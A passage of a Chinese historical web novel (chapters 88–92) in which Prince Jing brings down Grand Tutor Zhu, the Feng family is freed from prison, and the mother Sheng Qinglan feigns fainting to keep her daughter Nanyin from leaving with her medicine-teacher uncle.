他之所以这样,也是查出皇后娘家朱氏一族如今暗地里竟与贵妃娘家余氏一族有了牵扯。 若两家联手,这北庆怕是要被他们只手遮天,父皇的权势都要被两家人左右了。 他一箭三雕,亲手送手安国公,由他手书检举揭发,让朱家先陷入万难之地,暗中牵扯出安王不臣之心。 承德帝暴怒,直接摔了眼前的砚台,直直砸落在大殿之上。 “朱齐政,你好大的胆子!” 上好的长松寿栢墨台被砸得个四分五裂。 朝臣齐齐下跪,“皇上息怒!” 朱太傅更是惶恐,不明白皇上这把无妄火为什么会烧到自己头上。 “皇上,老臣所犯何罪?” 承德帝脑门上的青筋突突地跳着,伸手点指着他。 “你现在还给朕装糊涂?难怪当初安国公被弹劾,你这个恩师在一旁默不作声,原来你才是那背后怂恿者。” “你欺君罔上,视为不忠;你强取豪夺,向下官收取贿赂,视为不义;勾结朝臣刺杀安国公,视为不仁;你这等不忠不义不仁之徒,不配担当太傅一职。” 朱齐政都懵了,他确实有私心,举荐了余家子弟接掌尚酝局典御,是想趁着安王失势,趁机拉拢示好。 这等雪中送炭之举,是拉拢人心最佳时机。 在他看来,安王此次虽被禁足,行事偏颇,可是皇上宠爱贵妃娘娘,那些小事早晚会被平息,将来他若称帝,看在朱家示好的份上,朱家还可再安稳太平个几十年。 所以才举荐的。 这怎么就将他与安国公被人刺杀牵连到身上了? “皇上,老臣冤枉啊!” 皇上冷笑,“冤枉?呵。” “靖王,你带龙禁尉到安国公府,给朕仔细地查,朕倒是要看看,是否真有账册!” 若所查属实,看他不办了朱家。 靖王领命,带了一队龙禁尉前去安国公府。 他并没有动,而是由着龙禁尉的人翻查。 皇上的人,各个都是精锐,又有遗书做指引,不出一炷香的时间就在一块石板下翻出一个木匣。 箱子陈旧,可匣子上的锁很新,一看就经常被人开动。 侍卫简单查阅之后交给靖王。 “王爷,找到了。” 靖王仔细翻阅了一下,不得不说,子明兄手底下能人辈出,这陈年旧账做得跟真的一样,无论这泛黄发潮的纸张,还有这上了年月的墨渍,都能以假乱真,让人丝毫看不出破绽。 他唇角勾了勾,这一次借机除掉朱氏一党,肃清一半朝臣,所谋之事又进三分。 此次能小胜一局,还要亏了他的好四哥。 若不是他想办法搞垮凤家,还没有这样好的机会。 “走吧,皇上还等着证据。” 朝政迟迟未散,都在等着靖王回来,只是苦了朱太傅,一把年纪一直跪着。 大殿的地面全是抛光的墨石板,冰冷坚硬,跪上一会双膝就失了知觉,等靖王回来时,他早已撑不住了。 皇上没有半分动容,等着靖王回禀。 时景轩看了一眼身边的朱大人,面上露出复杂的神情,将账册交了海公公。 皇上只瞥了几眼,便闭上了眸子。 “太傅朱齐政在位期间,借权势敛财,贪墨朝中银饷,革去太傅一职,关押大理寺待审。” 朝臣静默,万万没想到当朝一品太傅,皇后父亲,权倾朝野的朱大人,竟然一瞬间便失了势。 有人想求情,可不知那纸上所书是何事,都不敢妄动。 朱太傅从未想过,自己门生遍布朝野,此时却是孤立无援,无一人替他发声,只觉五雷轰顶,天塌地陷。 他那句老臣冤枉都没喊出口,便直直倒在地上晕厥过去。 靖王沉思片刻,撩袍跪下,“父皇,太傅年事已高,此次押解入狱,怕是撑不过调查之期。” “皇后娘娘知晓此事,又要忧心,望父王看在母后的情面上,让太傅回家侯审,再做定罪。” 时景轩出来替太傅说情,可不是想保他一命。 朱家这些年横行于市,做下违逆枉法之事不胜枚举,此次打开缺口,一经调查只会数罪并罚,再无翻身之日。 他这般是为了卖皇后一个人情。 即便朱家倒了,皇后的位置也不会变。 父皇与母后少年夫妻,又有太子在其中,中宫之位永远不可能换人,他这是“好心有好报”,将利益运筹到最大,让母后在后宫的日子更加舒心。 皇上这时也是想有一个台阶下的,再想杀了太傅,可他毕竟是自己的国丈。 “靖王,你确定要为他求情?” 靖王跪了下来,“儿臣对贪墨一事深恶痛绝,一经发现朝臣贪污纳贿绝不姑息。” “可是父皇,大皇兄如今身子刚刚见好,若是知晓太傅被拘押再犯旧疾,又该让父皇和母后忧心,所以儿臣斗胆,为了皇兄,也想向求父皇给太傅留最后一分体面。” 皇上给了靖王一个你很不错,深得圣心的眼神。 “恩,太子的身体确实才见好转,受不得刺激,那便听你所言,拘朱齐政于府中,严加看管,朱府大门查封,只余角门出入,朱家一应主子皆不可出府走动,一经发现,直接押送监牢。” 皇上想了想又道:“安国公死得蹊跷,大理寺卿务必查出刺杀之人身份。” 他冷硬的眸子闪了闪,怀疑安王禁足在府还不安省,此事与他大有牵扯。 此时,将余尚书也怀疑上了。 “至于安国公凤昌荣,既已死了,就让他的家人将尸首领走安葬,革去凤府世袭罔替爵位,贬为庶民。凤氏族人无罪释放。” 翰林院的学士立即拟制,朝堂终于散了。 靖王让身边的侍卫给莱安客栈送信,让凤南茵准备好马车去接人。 第八十八章一群跗骨之蛆 从凤南茵去求靖王,到她接到消息一日都不到。 她呆怔在原地,当日安王带人抄家,国公府上下一片混乱,火把照红了整个国公府上空,四下都是哭嚎声的情景她还记忆犹新。 国公府的天塌了,她也险些死掉,而靖王说出手救人,用了不到一日,人便被放出来了? “权势真是好东西。”她小声感慨。 “凤姑娘说什么?”侍卫问。 “没,我是说靖王好厉害。” 侍卫看了她一眼,“这事没你想的那么简单,对外不可多言此事与王爷有关。” 凤南茵被警告,忽然意识到自己想法太过于简单,立即缄口不言。 国公府被押的人数较多,凤南茵不可能人人照顾到,却也雇了三辆马车。 盛青岚以为,再看到头顶这片天,不是在去断头台的路上,就是在流放的途中,从没有想过有朝一日,她能心无负重地出来。 天气已经寒凉的彻骨,她身上带着病,可却感觉整个心都是轻松的。 心口最害怕、担忧的那块大石落了地,好似再没有什么事能压垮她了。 二房狄氏裹了裹身上的棉袄,看了一眼周遭,无一人来接她们。 她语气尖酸。 “还是大嫂聪明,早早就给泽宇和南蓉找了退路,可怜我的泽民和滢姐儿,都跟着受了苦。” 在狱中,这些话盛氏耳朵都要听出糨子,到底是个什么情况,她这会一句都不想再解释。 “她们怎么没来接你,不会不知咱们无罪出来了吧?泽宇不是在朝中有些不得了的朋友吗,怎么一个人都没有?” 盛青岚闭了闭眼,她已经做了决定,这一次出来便准备分家。 可眼下,大理寺监牢门前人多眼杂,她不想再在京城传出有关凤家的半点是非。 “二弟妹,有事咱们离开这里再说。” 离开? 国公府早已经不是她们的家,离开去哪! 她满心的抱怨,剜了盛氏一眼,语气不善。 “大嫂,咱们都是因为你们长房才受了这一场牢狱之灾,如今有家回不去,你们长房若有去处,可不能丢下咱们不管。” 三房邬氏本想替大嫂说一句公道话,可是查抄府邸的时候,她的嫁妆也被收走了,虽然藏了一些私房,到底没了落脚处。 未来茫然,这日子要如何过? 她便随二嫂的打算,想赖上长房。 毕竟她们都知道,盛家在南城还有一个小别苑,说是侯府的产业,可她们都知道,那是长嫂的房产。 更何况安国公世子去年中了案首,凤家无罪释放后,凤泽宇还能走仕途,他是凤家将来的希望,绑在一处,她们才能获利更久。 盛青岚却是烦不胜烦。 她是想回南城别苑,可那里前后就三进院,三房混在一处,男男女女三十余人,外加跟着他们一同入狱照顾的几名家奴,就算大家摞着睡,也挤不下。 国公爷去了,她同样是没有田产,没有铺子的人,从前老太太在,没分家就算了,眼下这些人竟然还要扒着她一个寡妇? “如今母亲故去,国公爷也走了,你们还有爷们在,我们长房孤儿寡母带着几个庶子庶女同样要寻出路,这个家是时候该散了。” 散了? 狄氏一听就急了,她娘家早就没落了,还依附她给的供给过活,二爷早前又是个不知进取的,后院姨娘小妾娶了一房又一房,通房丫鬟也留了好几个。 大房加上三个婆子一个管家一个管事才十一人,他们二房主子就十人,加上五个奴才,这十几人要她怎么养活。 “大嫂,你可不能过河拆桥,咱们二爷在吏部干得好好的,可是受大爷牵累没了官职,如今没了进项营生,你们长房怎么能不管。” 盛青岚才出狱时,那口活过来的感觉,被狄氏一顶帽子扣下来,险些呕死在原地。 “承其因就该受其果。你们早前受大房照顾,过着光鲜体面的日子,就该想到一荣俱荣,一损俱损的道理。” 少女不愤的声音从不远处走来,是刚刚赶到的凤南茵。 她一脸愤世嫉俗的表情瞪着狄氏,直接站到凤夫人身边。 “你们享福的时候不知道感恩,受罪了将矛头指向凤夫人,好没道理。” “南茵。” 盛氏看到她,一脸欢喜。 这孩子竟然来接她了,一时间,盛青岚心下五味杂陈。 她寄予厚望的长子从家中出事后一直没有音讯。 她捧在掌心宠大的长女也没来。 却是这个被凤家丢弃的二女儿对她一直惦念,她眼圈忍不住酸涩,红了眼眶。 “你是谁,哪来的丫头片子插嘴凤家之事。”狄氏上上下下打量眼前的少女。 五官还算周正,一脸的春红,衣着普通,这么个人,放到从前连见她的资格都没有,竟然敢教训她。 凤南茵连个眼角都没赏她一个,握着盛氏的手,上上下下打量。 “夫人,身体可还好?” 比起上次见面,好似更羸弱了,双唇惨白,血色都快看不到了。 她狠狠剜了狄氏一眼,“你们爱去哪去哪,我要带夫人回去休息,站在牢房前吵嘴,不怕丢了你夫人的名头。” “你个死丫头片子,再敢张狂,信不信我抽你。” 狄氏不认得凤南茵,国公爷被抓后,她们二房就极少在长房面前走动,懒得巴结奉承,所以并不知长房找回了失散的女儿。 凤南茵身份被挑破也是在抄家当日,所以二房和三房的人都不晓得她是谁。 盛氏将女儿拉到身后,喝斥。 “你敢。” 凤南茵本就不是娇柔的贵女千金,这会她心里只想护着凤夫人。 “二夫人还真是属白养狼的,你身上的袄子还是我送进去的,你没被冻死饿死,可是托了我的福,现在出来了,就要恩将仇报?” 狄氏真想扯了身上的破袄子甩地上,然后狠狠给眼前多管闲事小丫头一耳光。 可是没了这袄子,她连遮羞布都没有。 “原来是你!” “晓得是我,就让开,否则让你吃我的都吐出来。” 凤南茵这时搀扶住盛氏,抓着她瘦得纤细的胳膊,说不出的心疼。 “夫人,我们先回客栈。” 她们刚要走,身后有人喊住。 “大嫂,请留步。” 凤家二爷凤昌国拐着一条腿由人搀扶着慢慢走过来。 第八十九章靖王出手,解决隐患 刚刚的争执他听了一半,自己媳妇筹谋得对,出来后他们无处可去,长嫂还有侯府做靠山,绝对不能被她甩掉。 “大嫂,你有容身之处怎能丢下咱们,如今咱们无依无靠,你是打算让咱们流落街头吗?” 盛青岚看了一眼刚刚二叔和小叔子。 无力道:“国公爷去了,我一个妇道人家再难撑起这个家,二叔和三叔皆是男子,虽然没了官职,到底有些朋友,怎么会流落街头。” 凤昌国确实藏了一些银子,到底怕坐吃山空,且他在狱中被打断了腿,养伤看病又要不少钱。 他平白被大哥牵累,受了无妄灾,想这样甩掉他们,绝无可能。 “你想分家,除非你将母亲留下的私房钱分咱们一半。” 狄氏眼睛猛然就亮了,“对啊,抄家前,你家南蓉可是逃了的,母亲那日出了事,她房中的银子肯定被南蓉带走了。” “大嫂,你可不能吃独食,只想着自己日子好过,母亲的银钱也是有咱们份的。” 三房其实也留了退路,但这会听到二房要老太太的银子,也等着大嫂给说法。 凤南茵并没有想贪墨那笔银钱的想法,但是看着两房丑陋的嘴脸,还有咄咄逼人的架势,她看了一眼盛夫人摇摇欲坠的身子,说不出的心疼。 “夫人?”要不要拿出来,她听凤夫人的。 盛青岚身子在微微打着颤,气恨两房的无耻。 老太太有钱,那也是这些年长房孝敬的。 若不是老太太早年偷偷送进宫中给宜妃做打点开销,又怎么会只剩下那么一点银两。 二房、三房平日只会动嘴,交到公账的银子没有挪借的多,现在竟然还想分财产。 她一个子都不会给。 “母亲确实是在抄家前急火攻心去了,可她前脚才走,后脚官兵就到了,那银钱全部查抄了去,南蓉逃得匆忙,慌乱间没人想到去找母亲的私财。” 二爷不信,“你说被抄走就抄走了?大哥被带走几个月,我就不信你做当家主母多年,没有提前做准备,现在我因大哥断了腿,没了差事,你休想独吞母亲的银两。” 盛青岚半个身子都倚靠在凤南茵身上,强撑问。 “所以,拿不出你们所谓不存在的银子,你们两房上下二十几张嘴,就想赖上我一个寡妇?” “好一群厚颜无耻之徒,凤家二爷还真是让本王长见识。” 靖王从马车上下来,冷睨着凤昌国。 本就一身威仪之人,此刻板起脸,更是气势逼人,漆黑的瞳仁里全是威慑。 时景轩径直向众人走来,最后站在小丫头身前,将她挡在身后。 “凤昌国,你怎么被放出来了?” 凤昌国心下一颤,“靖王,靖王这是何意?” 时景轩双手负于身后,回头与凤南茵对视一眼。 他意思是说,小丫头,我可是来讨人情。 凤南茵微微勾了唇,眼下这个难缠的凤家二爷怕也只有靖王能打发掉了。 靖王回头,轻咳一声。 “本王奉旨督办国公爷被刺杀一案,没承想到了这大理寺衙门口,竟然看到你这么个上不得台面的东西在欺负寡嫂。” 他讥讽地看着凤家围站在一处,团团逼迫盛夫人的众人。 “本王若没记错,你曾在吏部做管事,当初审理你的卷宗本王也是阅过的,每年政绩考核,你没少收取贿赂,加之你妻子狄氏在外私放例银,你二人自身有罪在身,虽是受国公爷牵累查出你们的罪行,但你二人可不是无辜的。” 他给身边的侍卫使了眼色,“将他们二人拿下。” 凤昌国当即腿软,跪了下去,“王爷,王爷这事,这事……” 圣旨都下了,他们被放出来,他怎么又要被抓? 他后悔死了,若是刚刚放出来就走,没有在这里与大嫂纠缠,没有遇到靖王,是不是就不会有这一遭了? 靖王:“本王不知大理寺官员到底如何办事,你二人之罪不可饶恕,按原定处罚,元日过后流放苦寒之所,嫡出子女一同前往。” 他不想留下祸患,将二房嫡出一并赶走。 庶出身份低微,翻不出风浪,随他们去了。 一时间,祸从天降哭声四起,刚刚松了一口气的几人,天又塌了。 靖王语调平静,看着瘫软在地的凤昌国,道,“放心,我朝皇帝仁德,只要每日做足四个时辰的工,管吃管住,解了你夫妻二人全部担忧,又叫你们一家人团聚,永不分开。” 狄氏双眼上翻,止不住地眩晕。 她,她这是造了什么孽,流放苦寒之地,这一路山高水远气候严寒,能否活到那都不一定。 她看是看出来了,靖王这是在维护长房的面子,她怎么就给忘记了,大嫂与德妃是闺中密友啊! 她强撑着精神,去拉着盛氏的手。 “大嫂,求求你替咱们说说情吧,这圣旨都恕咱们无罪了,咱们不能被流放啊。” 盛青岚从不知二房也收取贿赂,更不知狄氏私放例银。 如此说来,国公府昌盛之时,他们二房可不缺银钱花销,偏偏这夫妻二人日日在老夫人面前哭穷,逼着她多照拂。 为了养偌大的国公府,国公爷才不得不贪墨银子,种下祸端。 今日竟然还有脸求她? 想到刚刚这二人自私的嘴脸,她决绝道。 “我若有那体面,国公爷就不会没了性命,个人因果,后果自负吧!” 听到二房的人哭叫一团,便阵阵头晕。 她不想再与这些亲眷打交道,对靖王伏身,“臣妇身体不适,想先行告退了。” 凤南茵忙给靖王福了一礼,搀扶着盛氏上了马车,走前对他轻轻点了点头,今日个情她算是记下了。 三房见二房找大嫂麻烦吃了罪,哪怕心有不甘,也不敢在此时多做纠缠,只想着日后再做打算。 盛氏一坐上马车,就瘫软在车壁上,眼泪止不住下落。 刚放出来的轻松与释然不见,一股悲伤涌上心头。 凤南茵见她如此,出言安慰,“夫人,日子慢慢会好起来的。” 盛青岚拉着她的手,哽咽道:“终是娘对不住你,没想到最后咱们阖府上下却是承了你的情出来的,先前给你的银子,是不是都用来搭救咱们了?” 她与国公爷多年夫妻,最是了解他的秉性,自私贪利,最是怕死,其实与凤昌国是一个秉性。 他明知写那种死谏,被放出来也会不得好死,又怎么可能做这种事,这背后定有贵人相助。 她记得靖王给了南茵一个鹡鸰珠子,定是南茵用了银子才使得靖王出手相助的。 凤南茵嘴上喊不出娘,可心底已经对盛氏生出了母女之情。 她将事情的前因后果原原本本都说了,最后道:“此事只我与夫人知晓就好,万不可再传。银子没有用,还在我那,可以都还给夫人。” 盛青岚这才想通,原来竟有这一番机遇。 “你是咱们全家的贵人,从前母亲没护好你,日后你就留在母亲身边,让母亲弥补早前的遗憾吧。” 凤南茵不愿意,她还想随师伯学医呢。 “夫人……” “还叫我夫人吗?唤我一声娘吧,你与南蓉都是我身上掉下来的肉,日后别再这般生分了。” “可我还想随师伯学医。” 第九十章生了一丝疏离,一丝不快 盛青岚想着,这个小女儿的一番机遇皆因她懂医术才得来的,若是让她强行按深宅贵女那般教养,会不会反而坏了孩子的机缘? 她抓起凤南茵的手,拍了拍。 “于情于礼,母亲都该将你像蓉儿那般教导,让你成为一名真正的闺阁千金,可母亲看出来了,你不喜束缚,心地存善,又有主见,若母亲强行让你留在后宅,怕是不愿意和我回去了。” “所以,娘是答应我留在保和堂了?”可,可保和堂在石门府。 “做你喜欢做的事吧,母亲晓得你有分寸。” “娘。” 娘对她真好,还以为娘出来后,会对她多加约束呢。 她出于本心,扑到盛青岚怀里。 她太渴望母爱了,这一刻真的觉得好幸福。 盛青岚一怔,本能地将人推开,多大的人了,竟然还这般撒娇,不成样子。 凤南茵抬头,用迷茫的眼神看她。 娘不喜她抱吗? 盛青岚看懂她眼里的受伤,尴尬地解释,“娘许久没洗过澡了,身上有气味,这衣衫也不干净。” “没关系,娘的怀抱很温暖,从小做梦,我都在幻想娘的怀抱该是什么样的。” 今天终于体会到了。 盛青岚不喜孩子这般腻歪,名门贵女也不该有这般小女儿作态。 她皱了皱眉,“南茵,母亲虽然允你继续学医,是觉得你在这方面有天赋,阻挠你怕你心生怨怼。以前你宿在外面,是逼不得已,以后酉时前必须回府,晓得了吗?” 凤南茵眨巴着水润的大眼睛,酉时前就要回府? 盛青岚自觉语气重了些,解释道:“你是一个姑娘家,一年比一年大了,说话间就长开了,你宿在外面我怎么能不担心。” 凤南茵听到娘这样关心她,再次扑进盛氏的怀里。 原来被娘亲在乎的感觉是这样的吗?娘亲的声音真的好温柔。 “我想都听娘的,可保和堂在石门府,女儿答应过师伯,要给他老人家养老送终的。” 师伯将全部家当都给她了,她怎么能找到家人就弃师伯而去呢。 盛青岚想到凤家如今的处境,留在京城也是自取其辱。 昔日见她要伏低做小的妇人,日后相见还要对人家请安问礼,这等折辱不如杀了她算了。 她敛了眸子道:“原本我也没想再在京城生活,你舅舅在石门府做通判,我们一家人过去投奔他,只是寄居总归不便,我想在那边买一处宅子。” 她叹了一口气,“可这样放出来,娘的那些嫁妆是不可能归还了,想在那边安家,就得把京城的宅院卖了,只是如此一来,你大哥将来回京走仕途,就连个落脚都没有了。” 凤南茵见母亲想回石门府定居,正合她心意。 于是她道:“娘,我手上的银子还是放你那吧,女儿用不到。你拿这钱置办宅子,京城的那处小院给大哥留着吧。” 盛青岚没想到这么容易,女儿就松了口。 她问得急切了两分:“你真愿意还给母亲?” “恩?” 盛氏意识到自己表现得太刻意了,又解释:“南茵,如今家中有难受,你能处处替娘着想,是娘没想到的。你的孝顺娘都看在眼里,将来这笔钱能帮你哥哥的仕途上大有方展,待咱们凤家翻了身,娘给你寻一门好婆家,嫁妆必比这些银钱还要充足。” 凤南茵年纪还小,听不懂娘在给她画大饼,可她隐约觉得娘这话说的不切实际。 大哥还没回来,即便回来,仕途又哪是那么容易,这官说当就能当的? 至于说找好婆家,陪送丰厚的嫁妆…… 她都十三了,娘说的能不能靠谱一些。 她默默地退出盛氏的怀里,垂了头。 “娘不用和我这样见外的,本也是您给我的银钱,再给你保管也是应当的。” 盛氏怀里一空,感觉到孩子有了情绪。 “南茵,这钱给了你,本不该要回,只是如今娘确实有难处。”她张开怀抱,试探着女儿的态度。 凤南茵也说不出怎么了,就总是有一点不舒服,可她说不出这个情绪源于什么。 总觉得…… 总觉得和娘有隔阂,这是因为自小没有在一起生活的原因吗? “娘身体不好,我一直这样压着您不好。”她也没说实话,只是乖巧地坐在一处,不再似刚刚那样黏着母亲。 盛青岚心中大石落了地,要回了银钱,日后的生活也没了难受。 她应了一声,“我这身子确实乏的厉害,这精气神都要撑不住了。” 凤南茵看着她垂落了眼皮,倚靠在车壁边小憩着了,那瘦弱的身子,还有苍白的脸,总有一种不真实的感觉。 她渴望了十三年的娘亲,如今就在身边,对她也很好,可是刚刚那种想亲近的感觉,为什么就再也生不出来了? 她悄悄退出车厢,坐到车辕边上,任由冷风吹着她的脸,她想让自己不要胡思乱想,也许娘从前是一品夫人,时常端着身份,对谁说话都是这样的疏离淡漠吧。 京城街道人多,几条街走了半个时辰。 盛青岚小憩片刻后,人有了一丝精神,见南茵带她住的客栈环境不错,这才提了裙摆下车。 “娘,师伯订了三个上房,在二楼。衣服女儿也都给您订好了,您先沐浴休息,我让店家给大家准备吃食。” “你有心了。” 她说着,搀扶着身边的嬷嬷慢慢上了楼梯,脸色淡淡的。 走了几步,她叮嘱道:“找位大夫来吧,咱们这些人身子或多或少都不太好,不能再耽搁了。” 她说这话的时候,看了一眼女儿身边的老者,向他轻轻颔首,没再多言径直上楼去了。 宫良眉头深了深,他拉过凤南茵往后退了退。 “这位是你娘?” “恩。” 宫良心中暗忖,是他想多了吗? 凤夫人对他冷淡,还可以说是无人介绍,不好随意上前攀谈。 可这妇人对自己的女儿怎么像指使一个下人那般,这是该让本是小姐身份的女儿该做的事吗! “怎么了师伯?” “没,就是觉得凤夫人的神态挺让人难接近的。” 凤南茵给母亲找借口,她道:“她们才出来,不想被熟人看到吧,可惜我没有南苑的地址,只能带他们先在这里安顿。” 宫良觉得,这只是一方面原因,更多的,凤夫人对丫头的情份到底没那么深。 要是换做是凤南蓉那个女娃,这等事肯定是舍不得让她自降身份去奔波的。 宫良拍了拍她的肩,“你想得已经很周到了,比某些人做得好太多了。” 第九十一章母亲的性子怎么变了? 宫良指的某些人,自然是说凤南蓉。 那个心里只有自己的坏丫头,不及南茵万一,他才不要小丫头自责。 宫良到底心疼丫头,忍不住问,“丫头,如今她们也算是安顿下来,师伯要回石门府了,你日后是要留在京城吗?” 凤南茵看了一眼外面的天色,有些慌。 “师伯,天色渐晚了,这就要走吗?” 她发现,师伯在,她心才有安定感,师伯说要离开,一下子没了倚靠一样。 她并不想和凤家人在一起,她们让她陌生。 “出来多日,也到了收货的日子,明早赶回去怕来不及。” 凤南茵毫不犹豫道:“我随师伯一同回去。” 收货交货是最忙的时候,从前有陆童在,现在铺子里只有她帮衬着,师伯会忙不过来的。 “她们这边你不照看着?” 凤南茵想到母亲刚刚拿南城的宅子试探她,这事让她有些心冷。 母女不该有一说一吗? 可她与自己说话,要拐那么大的弯。 这是她刚刚想通自己不开心的地方,母亲待她太疏离了。 她勉强地扯了扯嘴角,“给他们留足了银钱就好,娘亲身边还有婆子照顾。” 师伯身边却只有自己。 “就是这个理,即便那几个婆子也病了,还有店家跑腿。” 断然没有让女儿当指使的,这个盛夫人,配不上他家茵丫头的好。 还说什么当年孩子丢了是迫不得已,要是真有心找,至于十几年都寻不到人?分明是她自己也信了那签文。 “行,我给账上留些银子,这五十两你交给盛夫人,马车我都雇好了,咱们这就走。” 凤南茵回到客房,盛青岚正在沐浴。 身边是她置办回来的衣衫,因着曾经在凤南蓉那里吃过亏,这一次特意让成衣铺子送来了上好面料做的衣裙。 盛氏感觉到屏风后面有人,睁开了眼睛。 “是南茵吗?” “娘,水温还合适吗?” 盛青岚一个月没洗澡了,这会泡在水里,说不出的解乏。 “还可以,大夫找了吗?” 凤南茵这会越发觉得母亲与她说话虽然温柔轻语。 可那语气却是带着命令感。 “找了。” 她微微坐起身,道:“南茵,不是母亲说你,既然你师伯懂医术,你就该向他提一嘴,身边守着个大夫出去找大夫,不是多此一举。” 她在气恼宫良上不得台面,没有眼色。 嘴上却说,“你这样做,让你师伯脸上多没面子,好像咱们信不过他一样。” “你啊,真是不懂礼数。” 再者说,在马车上她都说得非常清楚了,她不想在京城见到外人,这丫头怎么那么木讷,到底不如南蓉会看人脸色。 凤南茵被骂,没有顶嘴。 她不想和母亲解释师伯不与人看病的缘由,只道:“即便师伯给瞧了病,也要到药堂去抓药。女儿想着不如直接寻了大夫,他们直接把药抓了就送来了,更方便一些。” “行吧!” 她语气里皆是失望,对凤南茵的解释并没有听进去。 凤南茵咬了咬唇,见娘亲又躺了回去,于是提了出来。 “娘,师伯还有生意要照看,陪我来京多日,今天惦记要回去了。” “恩。” 盛青岚懒懒敷衍一句,没有感谢之言,好似为她奔波一趟都是应该的。 凤南茵心中失望,还是忍不住叮嘱。 “娘,您身体不好,少泡一会水,小二已经寻了大夫,一会就能到。女儿要随师伯回石门府,您过去的时候,叫人到保和堂寻我吧。” “什么?你也要走?” 盛青岚语气都尖锐了起来,“你可是我的女儿,这个时候你怎么能离我先回去?” “可是娘……” 不等她说话,盛青岚便拾起泪来。 “若是南蓉绝对不会撇下我和外人走,到底不是养在身边长大的,你怎么说得出这样的话。” 凤南茵看到母亲哭了,还很自责。 忽然听到她拿自己和凤南蓉比,心中忍不住生气。 “可是母亲,到牢里送棉衣的人是我,接您出来的人也是我,姐姐甚至没有提过要来看您的想法。” “不可能,蓉儿最是孝顺,她没来探望我,是因为她的画像张贴的到处都是,她不方便来。” 凤南茵忽然不想争辩了,到底没有长在娘亲身边,她拿什么和凤南蓉比。 “你说什么就是什么吧。” 凤南茵将五十两银子放到了桌上。 “师伯给留了花用,住店吃饭的钱,师伯结算了三日的,这些银子够所有人吃药,雇马车回石门府了。” 她强忍着眼泪,想说回到石门府也别来找我了,可话到嘴边看着凤夫人带有血丝的眼睛,到底没有冲动说出来。 “我走了。” 盛青岚快速从水里出来,拿了棉巾裹在身上,她神色当中有一丝怒火。 她不容人忤逆自己,刚想喝斥凤南茵没有良心,对不起她当初那般待她。 很快,怒火又被她压了下去,这丫头背后可是有靖王撑腰的,南蓉在京这么多年,也没得靖王一个另眼相待。 当初她不是没求德妃帮忙,不是没许过靖王好处,可对方只说此事难办。 但南茵却做了让靖王承她情面的事。 且听女儿说,她与太尉府的魏公子走得近,这些将来都能为长子泽宇铺路,她不想给人留下南茵与她不亲的错觉。 用长辈的身份要求她留下来怕不成,这孩子很是执拗。 眼眸流转,她有了主意。 她扯了凤南茵的手,一脸担忧地道:“南茵,母亲只是意外,你竟与我这般不亲,母亲才没了家,没了丈夫、没了尊荣,如今只想儿女绕膝,一家人在一处,你怎么能在这个时候回石门府呢?” 她脸上带出哀伤,就好似凤南茵一走,她就活不下去了一般。 凤南茵心中有疑惑,曾经娘亲好像不是这样绵软的性子啊? 她觉得那时的凤夫人有情义,为了保护自己,不惜对老夫人动手。 抄家前,她有远见的,那么乱的情况下,她提前准备的出城文牒天衣无缝。又果断地拿了老夫人的银子交给她来保管。 那个混乱的局面,她临危不乱。 那样残酷的事实在眼前,也没见她这样脆弱,这会怎么忽然变得需要她一个小孩子照顾了? “可是娘,你身边有婆子照顾,女儿留下除了陪你说说话,也做不了什么,可师伯现在只有我一个帮忙,他年纪大了,记账的事情得有人来做。” 盛青岚想在离京之前,见一见靖王。 见不到靖王,见一见魏公子也好。 他们势大,托他们找一找泽宇,那孩子与家里失了联系,长子才是她后半生的倚靠啊。 她哄着凤南茵道:“你是个有孝心的,让你不回去帮忙,你肯定不依。既然宫大夫急着离开,那母亲命人现在就准备准备,一同出城吧。” “啊?那怎么成,您身体需要将养,就这样走,严重了怎么办?” 盛青兰忍不住擦眼泪,由着婆子替她穿衣服,越是哄劝,眼泪掉得越多。 “母亲可能是受你父亲出事影响,一个人独处时就忍不住伤心,我闭上眼睛,就想到你父亲惨死的样子,你爹他,他为了整个国公府,何其不容易……” 她说着,双眼上翻,人竟直直向后倒了去。 “娘,娘……” 第九十二章我不相信娘亲,她会不会怪我? 凤南茵见娘因为激动,竟然晕倒了,一时急得眼泪直流。 她没想到自己要走,会给娘带来这样大的刺激。 古嬷嬷在一旁也是心疼的止不住地抹眼泪。 “夫人不容易,自从老爷出了事,就一人面对压力强撑着,四下求人办事,想将老爷救出来。可是做了那么多,脸面都不要了,老爷他还是去了,夫人她心里不好受。” “二小姐,夫人身体本就不好,经不起折腾了,您就留下来陪她三日,也就晚三日的事,您看呢?” 凤南茵默默听着,心中生出一丝愧疚。 如今娘亲晕着,她再说走,就是不孝。 她正准备答应,心中同时生出了狐疑。 她手搭在娘亲的脉搏上,她的脉象又细又快,这和她多日来气血不足,营养不当有关。可昏厥之人的脉象该是弦脉,人体气机不畅,阳气升发不利,郁闷气节一时才会急火攻心昏厥。 这脉象为什么对不上? 她相信自己不会把错,可娘亲好好的为什么要装晕,若是真想她留下来,母女之间也要用伎俩吗? 她被凤南蓉伤怕了,如今娘亲也对她使心眼,她心里不好受。 “嬷嬷,这人一直晕着对身体伤害很大的。我年纪小手上没力道,嬷嬷会掐人中吗?” 在国公府当了一辈子老妈子,拿捏了那么多不听话的下人,怎么可能不会这个。 古嬷嬷不知夫人装晕,就要上手。 这时她的衣摆被扯了扯,古嬷嬷伺候夫人多年,一下子懂了夫人的意思。 手伸过去,轻轻按下,人中处连红印都没留下,就用袖子捂着脸哭起来。 “这可怎么是好,夫人定是伤透了心,不想醒来了。” 凤南茵眨了眨眼睛,“不会的,娘亲都没见到大姐,哪里舍得不醒来。” 她说着,拔下发顶的桃木钗,“我和师伯学过针灸,我用木钗来刺激她,一定能唤醒的。” 抬手,木钗落到盛氏人中穴位上,稍用力,疼的盛青岚眼泪都出来了。 “啊!” 盛青岚发出尖锐的叫声,随即抹了一把鼻下,竟然出血了。 这个死丫头,是想扎死她吗? “娘,你醒了,刚刚真是担心死我了。” 凤南茵默默退后了两步,“娘,我怕你晕久了伤身,不得以用的力道大了,你不怪我吧?” 盛氏是想借着昏厥这个理由拖住南茵,让那个老东西先走了,再和她说打算。 结果没料到她整了这么一手,害她白白被扎了一下。 “没事,只是能想起来的事情都是悲伤的,一时没承受得住,便晕了。” 古嬷嬷忙道:“夫人身子这么弱,想开些,您再难过也无法一时改变现状,安心静养才是该做的。” 这会她生了凤南茵的气,还在怪她扎伤了自己,便道。 “确实累得紧,我先睡一会。南茵,一切等娘醒来再议。” 凤南茵乖巧地点了点头,坐在她身边。 “嬷嬷说得是,您该放宽心,先养好身体,一切都会变好的。” “恩,你是一个孝顺的孩子,娘相信你心里最在乎娘的感受。” 盛氏身子弱是真的,所以很快就睡着了。 凤南茵守了一会,叮嘱古嬷嬷好生陪着,便准备出去。 